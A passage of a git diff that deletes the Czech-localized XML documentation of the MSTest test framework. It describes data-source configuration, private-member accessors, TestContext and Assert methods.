zkopíruje. - - - - - Obsahuje literály názvů oddílů, vlastností a atributů. - - - - - Název oddílu konfigurace - - - - - Název části konfigurace pro Beta2. Zůstává kvůli kompatibilitě. - - - - - Název části pro zdroj dat - - - - - Název atributu pro Name - - - - - Název atributu pro ConnectionString - - - - - Název atributu pro DataAccessMethod - - - - - Název atributu pro DataTable - - - - - Element zdroje dat - - - - - Získá nebo nastaví název této konfigurace. - - - - - Získá nebo nastaví element ConnectionStringSettings v části <connectionStrings> v souboru .config. - - - - - Získá nebo nastaví název tabulky dat. - - - - - Získá nebo nastaví typ přístupu k datům. - - - - - Získá název klíče. - - - - - Získá vlastnosti konfigurace. - - - - - Kolekce elementů zdroje dat - - - - - Inicializuje novou instanci třídy . - - - - - Vrátí element konfigurace se zadaným klíčem. - - Klíč elementu, který se má vrátit - System.Configuration.ConfigurationElement se zadaným klíčem, jinak null. - - - - Získá element konfigurace v zadaném umístění indexu. - - Umístění indexu elementu System.Configuration.ConfigurationElement, který se má vrátit. - - - - Přidá element konfigurace ke kolekci elementů konfigurace. - - System.Configuration.ConfigurationElement, který se má přidat - - - - Odebere System.Configuration.ConfigurationElement z kolekce. - - . - - - - Odebere System.Configuration.ConfigurationElement z kolekce. - - Klíč elementu System.Configuration.ConfigurationElement, který se má odebrat - - - - Odebere všechny objekty elementů konfigurace z kolekce. - - - - - Vytvoří nový . - - Nový . - - - - Získá klíč elementu pro zadaný element konfigurace. - - System.Configuration.ConfigurationElement, pro který se má vrátit klíč - System.Object, který funguje jako klíč pro zadaný element System.Configuration.ConfigurationElement - - - - Přidá element konfigurace ke kolekci elementů konfigurace. - - System.Configuration.ConfigurationElement, který se má přidat - - - - Přidá element konfigurace ke kolekci elementů konfigurace. - - Umístění indexu, kde se má přidat zadaný element System.Configuration.ConfigurationElement - System.Configuration.ConfigurationElement, který se má přidat - - - - Podpora nastavení konfigurace testů - - - - - Získá oddíl konfigurace pro testy. - - - - - Oddíl konfigurace pro testy - - - - - Získá zdroje dat pro tento oddíl konfigurace. - - - - - Získá kolekci vlastností. - - - Třídu vlastností pro element - - - - - Tato třída představuje živý, NEVEŘEJNÝ, INTERNÍ objekt v systému. - - - - - Inicializuje novou instanci třídy , která obsahuje - už existující objekt privátní třídy. - - objektů, které slouží jako počáteční bod k dosažení privátních členů - řetězec zrušení reference využívající . a odkazující na objekt, který se má načíst, jako například v m_X.m_Y.m_Z - - - - Inicializuje novou instanci třídy , která zabaluje - zadaný typ. - - Název sestavení - plně kvalifikovaný název - Argumenty, které se mají předat konstruktoru - - - - Inicializuje novou instanci třídy , která zabaluje - zadaný typ. - - Název sestavení - plně kvalifikovaný název - Pole objektů představujících počet, pořadí a typ parametrů, které má načíst konstruktor - Argumenty, které se mají předat konstruktoru - - - - Inicializuje novou instanci třídy , která zabaluje - zadaný typ. - - typ objektu, který chcete vytvořit - Argumenty, které se mají předat konstruktoru - - - - Inicializuje novou instanci třídy , která zabaluje - zadaný typ. - - typ objektu, který chcete vytvořit - Pole objektů představujících počet, pořadí a typ parametrů, které má načíst konstruktor - Argumenty, které se mají předat konstruktoru - - - - Inicializuje novou instanci třídy , která zabaluje - daný objekt. - - Objekt, který chcete zabalit - - - - Inicializuje novou instanci třídy , která zabaluje - daný objekt. - - Objekt, který chcete zabalit - Objekt PrivateType - - - - Získá nebo nastaví cíl. - - - - - Získá typ základního objektu. - - - - - Vrátí hodnotu hash cílového objektu. - - celé číslo představující hodnotu hash cílového objektu - - - - Rovná se - - Objekt, se kterým chcete porovnat - pokud se objekty rovnají, vrátí true. - - - - Vyvolá zadanou metodu. - - Název metody - Argumenty pro vyvolání, které se mají předat členu - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda načíst. - Argumenty pro vyvolání, které se mají předat členu - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda načíst. - Argumenty pro vyvolání, které se mají předat členu - Pole typů odpovídající typům obecných argumentů - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Argumenty pro vyvolání, které se mají předat členu - Informace o jazykové verzi - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda načíst. - Argumenty pro vyvolání, které se mají předat členu - Informace o jazykové verzi - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Argumenty pro vyvolání, které se mají předat členu - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda načíst. - Argumenty pro vyvolání, které se mají předat členu - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Argumenty pro vyvolání, které se mají předat členu - Informace o jazykové verzi - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda načíst. - Argumenty pro vyvolání, které se mají předat členu - Informace o jazykové verzi - Výsledek volání metody - - - - Vyvolá zadanou metodu. - - Název metody - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda načíst. - Argumenty pro vyvolání, které se mají předat členu - Informace o jazykové verzi - Pole typů odpovídající typům obecných argumentů - Výsledek volání metody - - - - Získá prvek pole pomocí pole dolních indexů pro jednotlivé rozměry. - - Název člena - indexy pole - Pole prvků - - - - Nastaví prvek pole pomocí pole dolních indexů pro jednotlivé rozměry. - - Název člena - Hodnota, která se má nastavit - indexy pole - - - - Získá prvek pole pomocí pole dolních indexů pro jednotlivé rozměry. - - Název člena - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - indexy pole - Pole prvků - - - - Nastaví prvek pole pomocí pole dolních indexů pro jednotlivé rozměry. - - Název člena - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Hodnota, která se má nastavit - indexy pole - - - - Získá pole. - - Název pole - Pole - - - - Nastaví pole. - - Název pole - nastavovací hodnota - - - - Získá pole. - - Název pole - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Pole - - - - Nastaví pole. - - Název pole - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - nastavovací hodnota - - - - Načte pole nebo vlastnost. - - Název pole nebo vlastnosti - Pole nebo vlastnost - - - - Nastaví pole nebo vlastnost. - - Název pole nebo vlastnosti - nastavovací hodnota - - - - Získá pole nebo vlastnost. - - Název pole nebo vlastnosti - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Pole nebo vlastnost - - - - Nastaví pole nebo vlastnost. - - Název pole nebo vlastnosti - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - nastavovací hodnota - - - - Získá vlastnost. - - Název vlastnosti - Argumenty pro vyvolání, které se mají předat členu - Vlastnost - - - - Získá vlastnost. - - Název vlastnosti - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - Argumenty pro vyvolání, které se mají předat členu - Vlastnost - - - - Nastaví vlastnost. - - Název vlastnosti - nastavovací hodnota - Argumenty pro vyvolání, které se mají předat členu - - - - Nastaví vlastnost. - - Název vlastnosti - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - nastavovací hodnota - Argumenty pro vyvolání, které se mají předat členu - - - - Získá vlastnost. - - Název vlastnosti - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Argumenty pro vyvolání, které se mají předat členu - Vlastnost - - - - Získá vlastnost. - - Název vlastnosti - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - Argumenty pro vyvolání, které se mají předat členu - Vlastnost - - - - Nastaví vlastnost. - - Název vlastnosti - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - nastavovací hodnota - Argumenty pro vyvolání, které se mají předat členu - - - - Nastaví vlastnost. - - Název vlastnosti - Bitová maska sestávající z jednoho nebo několika určující způsob vyhledávání. - nastavovací hodnota - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - Argumenty pro vyvolání, které se mají předat členu - - - - Ověří přístupový řetězec. - - přístupový řetězec - - - - Vyvolá člen. - - Název člena - Další atributy - Argumenty vyvolání - Jazyková verze - Výsledek vyvolání - - - - Vybere z aktuálního privátního typu nejvhodnější signaturu obecné metody. - - Název metody, ve které chcete prohledat mezipaměť podpisu - Pole typů odpovídající typům parametrů, ve kterých se má hledat. - Pole typů odpovídající typům obecných argumentů - pro další filtrování podpisů metody. - Modifikátory parametrů - Instance methodinfo - - - - Tato třída představuje privátní třídu pro funkci privátního přístupového objektu. - - - - - Váže se na vše. - - - - - Zabalený typ - - - - - Inicializuje novou instanci třídy , která obsahuje privátní typ. - - Název sestavení - plně kvalifikovaný název - - - - Inicializuje novou instanci třídy , která obsahuje - privátní typ z objektu typu. - - Zabalený typ, který se má vytvořit - - - - Získá odkazovaný typ. - - - - - Vyvolá statický člen. - - Název členu InvokeHelper - Argumenty vyvolání - Výsledek vyvolání - - - - Vyvolá statický člen. - - Název členu InvokeHelper - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda vyvolat - Argumenty vyvolání - Výsledek vyvolání - - - - Vyvolá statický člen. - - Název členu InvokeHelper - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda vyvolat - Argumenty vyvolání - Pole typů odpovídající typům obecných argumentů - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název člena - Argumenty k vyvolání - Jazyková verze - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název člena - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda vyvolat - Argumenty k vyvolání - Informace o jazykové verzi - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název člena - Další atributy vyvolání - Argumenty k vyvolání - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název člena - Další atributy vyvolání - Pole objektů představujících počet, pořadí a typ parametrů, které má metoda vyvolat - Argumenty k vyvolání - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název členu - Další atributy vyvolání - Argumenty k vyvolání - Jazyková verze - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název členu - Další atributy vyvolání - /// Pole objektů představujících počet, pořadí a typ parametrů, které má metoda vyvolat - Argumenty k vyvolání - Jazyková verze - Výsledek vyvolání - - - - Vyvolá statickou metodu. - - Název členu - Další atributy vyvolání - /// Pole objektů představujících počet, pořadí a typ parametrů, které má metoda vyvolat - Argumenty k vyvolání - Jazyková verze - Pole typů odpovídající typům obecných argumentů - Výsledek vyvolání - - - - Získá prvek ve statickém poli. - - Název pole - - Jednorozměrné pole 32bitových celých čísel představujících indexy, které určují - pozici elementu, který se má získat. Pokud chcete získat přístup například k a[10][11], budou indexy {10,11}. - - prvek v zadaném umístění - - - - Nastaví člen statického pole. - - Název pole - nastavovací hodnota - - Jednorozměrné pole 32bitových celých čísel představujících indexy, které určují - pozici elementu, který se má nastavit. Pokud chcete například získat přístup k a[10][11], bude toto pole {10,11}. - - - - - Získá prvek ve statickém poli. - - Název pole - Další atributy InvokeHelper - - Jednorozměrné pole 32bitových celých čísel představujících indexy, které určují - pozici elementu, který se má získat. Pokud chcete například získat přístup k a[10][11], bude toto pole {10,11}. - - prvek v zadaném umístění - - - - Nastaví člen statického pole. - - Název pole - Další atributy InvokeHelper - nastavovací hodnota - - Jednorozměrné pole 32bitových celých čísel představujících indexy, které určují - pozici elementu, který se má nastavit. Pokud chcete například získat přístup k a[10][11], bude toto pole {10,11}. - - - - - Získá statické pole. - - Název pole - Statické pole - - - - Nastaví statické pole. - - Název pole - Argument k vyvolání - - - - Získá statické pole pomocí zadaných atributů InvokeHelper. - - Název pole - Další atributy vyvolání - Statické pole - - - - Nastaví statické pole pomocí atributů vazby. - - Název pole - Další atributy InvokeHelper - Argument k vyvolání - - - - Získá statické pole nebo vlastnost. - - Název pole nebo vlastnosti - Statické pole nebo vlastnost - - - - Nastaví statické pole nebo vlastnost. - - Název pole nebo vlastnosti - Hodnota, která se má nastavit pro pole nebo vlastnost - - - - Získá statické pole nebo vlastnost pomocí zadaných atributů InvokeHelper. - - Název pole nebo vlastnosti - Další atributy vyvolání - Statické pole nebo vlastnost - - - - Nastaví statické pole nebo vlastnost pomocí atributů vazby. - - Název pole nebo vlastnosti - Další atributy vyvolání - Hodnota, která se má nastavit pro pole nebo vlastnost - - - - Získá statistickou vlastnost. - - Název pole nebo vlastnosti - Argumenty k vyvolání - Statická vlastnost - - - - Nastaví statickou vlastnost. - - Název vlastnosti - Hodnota, která se má nastavit pro pole nebo vlastnost - Argumenty pro vyvolání, které se mají předat členu - - - - Nastaví statickou vlastnost. - - Název vlastnosti - Hodnota, která se má nastavit pro pole nebo vlastnost - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - Argumenty pro vyvolání, které se mají předat členu - - - - Získá statistickou vlastnost. - - Název vlastnosti - Další atributy vyvolání - Argumenty pro vyvolání, které se mají předat členu - Statická vlastnost - - - - Získá statistickou vlastnost. - - Název vlastnosti - Další atributy vyvolání - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - Argumenty pro vyvolání, které se mají předat členu - Statická vlastnost - - - - Nastaví statickou vlastnost. - - Název vlastnosti - Další atributy vyvolání - Hodnota, která se má nastavit pro pole nebo vlastnost - Volitelné hodnoty indexu pro indexované vlastnosti. Indexy indexovaných vlastností se počítají od nuly. Tato hodnota by měla pro neindexované vlastnosti být Null. - - - - Nastaví statickou vlastnost. - - Název vlastnosti - Další atributy vyvolání - Hodnota, která se má nastavit pro pole nebo vlastnost - Pole objektů představujících počet, pořadí a typ parametrů indexované vlastnosti. - Argumenty pro vyvolání, které se mají předat členu - - - - Vyvolá statickou metodu. - - Název členu - Další atributy vyvolání - Argumenty k vyvolání - Jazyková verze - Výsledek vyvolání - - - - Poskytuje zjišťování podpisu metody pro obecné metody. - - - - - Porovnává signatury těchto dvou metod. - - Method1 - Method2 - True, pokud je mezi nimi podobnost - - - - Získá hloubku hierarchie od základního typu poskytnutého typu. - - Typ - Hloubka - - - - Najde nejvíce odvozený typ s poskytnutými informacemi. - - Možné shody - Počet shod - Nejvíce odvozená metoda - - - - S ohledem na sadu metod, které splňují základní kritéria, vybere pro pole typů - metodu. Pokud kritériím nevyhovuje žádná metoda, měla by tato metoda - vrátit null. - - Specifikace vazby - Možné shody - Typy - Modifikátory parametrů - Metoda porovnávání. Null, pokud se nic neshoduje - - - - Najde v daných dvou poskytnutých metodách nejkonkrétnější metodu. - - Metoda 1 - Pořadí parametrů pro Metodu 1 - Typ pole parametrů - Metoda 2 - Pořadí parametrů pro Metodu 2 - >Typ pole parametrů - Typy, ve kterých se má hledat - Argumenty - Číslo typu int, které představuje shodu - - - - Najde v daných dvou poskytnutých metodách nejkonkrétnější metodu. - - Metoda 1 - Pořadí parametrů pro Metodu 1 - Typ pole parametrů - Metoda 2 - Pořadí parametrů pro Metodu 2 - >Typ pole parametrů - Typy, ve kterých se má hledat - Argumenty - Číslo typu int, které představuje shodu - - - - Najde ze dvou poskytnutých typů ten nejkonkrétnější. - - Typ 1 - Typ 2 - Definující typ - Číslo typu int, které představuje shodu - - - - Používá se pro ukládání informací poskytovaných testy jednotek. - - - - - Získá vlastnosti testu. - - - - - Získá aktuální řádek dat, když se test použije k testování řízenému daty. - - - - - Získá aktuální řádek připojení k datům, když se test použije k testování řízenému daty. - - - - - Získá základní adresář pro testovací běh, do kterého se ukládají nasazené soubory a soubory s výsledky. - - - - - Získá adresář pro soubory nasazené pro testovací běh. Obvykle se jedná o podadresář adresáře . - - - - - Získá základní adresář pro výsledky z testovacího běhu. Obvykle se jedná o podadresář adresáře . - - - - - Získá adresář pro soubory výsledků testovacího běhu. Obvykle se jedná o podadresář adresáře . - - - - - Získá adresář pro soubory s výsledky testu. - - - - - Získá základní adresář pro testovací běh, do kterého se ukládají nasazené soubory a soubory výsledků. - Shodné s . Použijte místo toho tuto vlastnost. - - - - - Získá adresář pro soubory nasazené pro testovací běh. Obvykle se jedná o podadresář adresáře . - Shodné s . Použijte místo toho tuto vlastnost. - - - - - Získá adresář pro soubory výsledků testovacího běhu. Obvykle se jedná o podadresář adresáře . - Shodné s . Pro soubory výsledků testovacího běhu použijte tuto vlastnost, - pro soubory výsledků konkrétního testu pak . - - - - - Získá plně kvalifikovaný název třídy, která obsahuje aktuálně prováděnou metodu testu. - - - - - Získá název aktuálně prováděné metody testu. - - - - - Získá aktuální výsledek testu. - - - - - Používá se pro zápis trasovacích zpráv během testu. - - řetězec formátované zprávy - - - - Používá se pro zápis trasovacích zpráv během testu. - - Řetězec formátu - argumenty - - - - Přidá do seznamu v TestResult.ResultFileNames název souboru. - - - Název souboru - - - - - Spustí zadaným způsobem časovač. - - Název časovače - - - - Ukončí zadaným způsobem časovač. - - Název časovače - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 3f446b4e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4197 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Atribut TestMethod pro provádění - - - - - Získá název testovací metody. - - - - - Získá název třídy testu. - - - - - Získá návratový typ testovací metody. - - - - - Získá parametry testovací metody. - - - - - Získá methodInfo pro testovací metodu. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Vyvolá testovací metodu. - - - Argumenty pro testovací metodu (např. pro testování řízené daty) - - - Výsledek vyvolání testovací metody - - - This call handles asynchronous test methods as well. - - - - - Získá všechny atributy testovací metody. - - - Jestli je platný atribut definovaný v nadřazené třídě - - - Všechny atributy - - - - - Získá atribut konkrétního typu. - - System.Attribute type. - - Jestli je platný atribut definovaný v nadřazené třídě - - - Atributy zadaného typu - - - - - Pomocná služba - - - - - Kontrolní parametr není null. - - - Parametr - - - Název parametru - - - Zpráva - - Throws argument null exception when parameter is null. - - - - Ověřovací parametr není null nebo prázdný. - - - Parametr - - - Název parametru - - - Zpráva - - Throws ArgumentException when parameter is null. - - - - Výčet způsobů přístupu k datovým řádkům při testování řízeném daty - - - - - Řádky se vrací v sekvenčním pořadí. - - - - - Řádky se vrátí v náhodném pořadí. - - - - - Atribut pro definování vložených dat pro testovací metodu - - - - - Inicializuje novou instanci třídy . - - Datový objekt - - - - Inicializuje novou instanci třídy , která přijímá pole argumentů. - - Datový objekt - Další data - - - - Získá data pro volání testovací metody. - - - - - Získá nebo nastaví zobrazovaný název ve výsledcích testu pro přizpůsobení. - - - - - Výjimka s neprůkazným kontrolním výrazem - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Inicializuje novou instanci třídy . - - - - - Třída InternalTestFailureException. Používá se pro označení interní chyby testovacího případu. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializuje novou instanci třídy . - - Zpráva o výjimce - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva o výjimce - - - - Inicializuje novou instanci třídy . - - - - - Atribut, podle kterého se má očekávat výjimka zadaného typu - - - - - Inicializuje novou instanci třídy s očekávaným typem. - - Typ očekávané výjimky - - - - Inicializuje novou instanci třídy - s očekávaným typem a zprávou, která se zahrne v případě, že test nevyvolá žádnou výjimku. - - Typ očekávané výjimky - - Zpráva, která má být zahrnuta do výsledku testu, pokud se test nezdaří z důvodu nevyvolání výjimky - - - - - Načte hodnotu, která označuje typ očekávané výjimky. - - - - - Získá nebo načte hodnotu, která označuje, jestli je možné typy odvozené od typu očekávané výjimky - považovat za očekávané. - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Ověří, jestli se očekává typ výjimky vyvolané testem jednotek. - - Výjimka vyvolaná testem jednotek - - - - Základní třída pro atributy, které určují, že se má očekávat výjimka testu jednotek - - - - - Inicializuje novou instanci třídy s výchozí zprávou no-exception. - - - - - Inicializuje novou instanci třídy se zprávou no-exception. - - - Zprávy, které mají být zahrnuty ve výsledku testu, pokud se test nezdaří z důvodu nevyvolání - výjimky - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Získá výchozí zprávu no-exception. - - Název typu atributu ExpectedException - Výchozí zpráva neobsahující výjimku - - - - Určuje, jestli se daná výjimka očekává. Pokud metoda skončí, rozumí se tomu tak, - že se výjimka očekávala. Pokud metoda vyvolá výjimku, rozumí se tím, - že se výjimka neočekávala a součástí výsledku testu - je zpráva vyvolané výjimky. Pomocí třídy je možné si usnadnit - práci. Pokud se použije a kontrolní výraz selže, - výsledek testu se nastaví na Neprůkazný. - - Výjimka vyvolaná testem jednotek - - - - Znovu vyvolá výjimku, pokud se jedná o atribut AssertFailedException nebo AssertInconclusiveException. - - Výjimka, která se má znovu vyvolat, pokud se jedná výjimku kontrolního výrazu - - - - Tato třída je koncipovaná tak, aby uživatelům pomáhala při testování jednotek typů, které využívá obecné typy. - Atribut GenericParameterHelper řeší některá běžná omezení obecných typů, - jako jsou: - 1. veřejný výchozí konstruktor - 2. implementace společného rozhraní: IComparable, IEnumerable - - - - - Inicializuje novou instanci třídy , která - splňuje omezení newable v obecných typech jazyka C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializuje novou instanci třídy , která - inicializuje vlastnost Data na hodnotu zadanou uživatelem. - - Libovolné celé číslo - - - - Získá nebo nastaví data. - - - - - Provede porovnání hodnot pro dva objekty GenericParameterHelper. - - objekt, se kterým chcete porovnávat - pravda, pokud má objekt stejnou hodnotu jako „tento“ objekt GenericParameterHelper. - V opačném případě nepravda. - - - - Vrátí pro tento objekt hodnotu hash. - - Kód hash - - - - Porovná data daných dvou objektů . - - Objekt pro porovnání - - Číslo se znaménkem označující relativní hodnoty této instance a hodnoty - - - Thrown when the object passed in is not an instance of . - - - - - Vrátí objekt IEnumerator, jehož délka je odvozená od - vlastnosti dat. - - Objekt IEnumerator - - - - Vrátí objekt GenericParameterHelper, který se rovná - aktuálnímu objektu. - - Klonovaný objekt - - - - Umožňuje uživatelům protokolovat/zapisovat trasování z testů jednotek pro účely diagnostiky. - - - - - Obslužná rutina pro LogMessage - - Zpráva, kterou chcete zaprotokolovat - - - - Událost pro naslouchání. Dojde k ní, když autor testů jednotek napíše zprávu. - Určeno především pro použití adaptérem. - - - - - Rozhraní API pro volání zpráv protokolu zapisovačem testu - - Formátovací řetězec se zástupnými symboly - Parametry pro zástupné symboly - - - - Atribut TestCategory, používá se pro zadání kategorie testu jednotek. - - - - - Inicializuje novou instanci třídy a zavede pro daný test kategorii. - - - Kategorie testu - - - - - Získá kategorie testu, které se nastavily pro test. - - - - - Základní třída atributu Category - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializuje novou instanci třídy . - Tuto kategorii zavede pro daný test. Řetězce vrácené z TestCategories - se použijí spolu s příkazem /category k filtrování testů. - - - - - Získá kategorii testu, která se nastavila pro test. - - - - - Třída AssertFailedException. Používá se pro značení chyby testovacího případu. - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Inicializuje novou instanci třídy . - - - - - Kolekce pomocných tříd pro testování nejrůznějších podmínek v rámci - testů jednotek. Pokud se testovaná podmínka nesplní, vyvolá se - výjimka. - - - - - Získá instanci typu singleton funkce Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Thrown if is false. - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je nepravda. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is false. - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je nepravda. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is false. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Thrown if is true. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je pravda. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is true. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je pravda. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is true. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Thrown if is null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is null. - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, 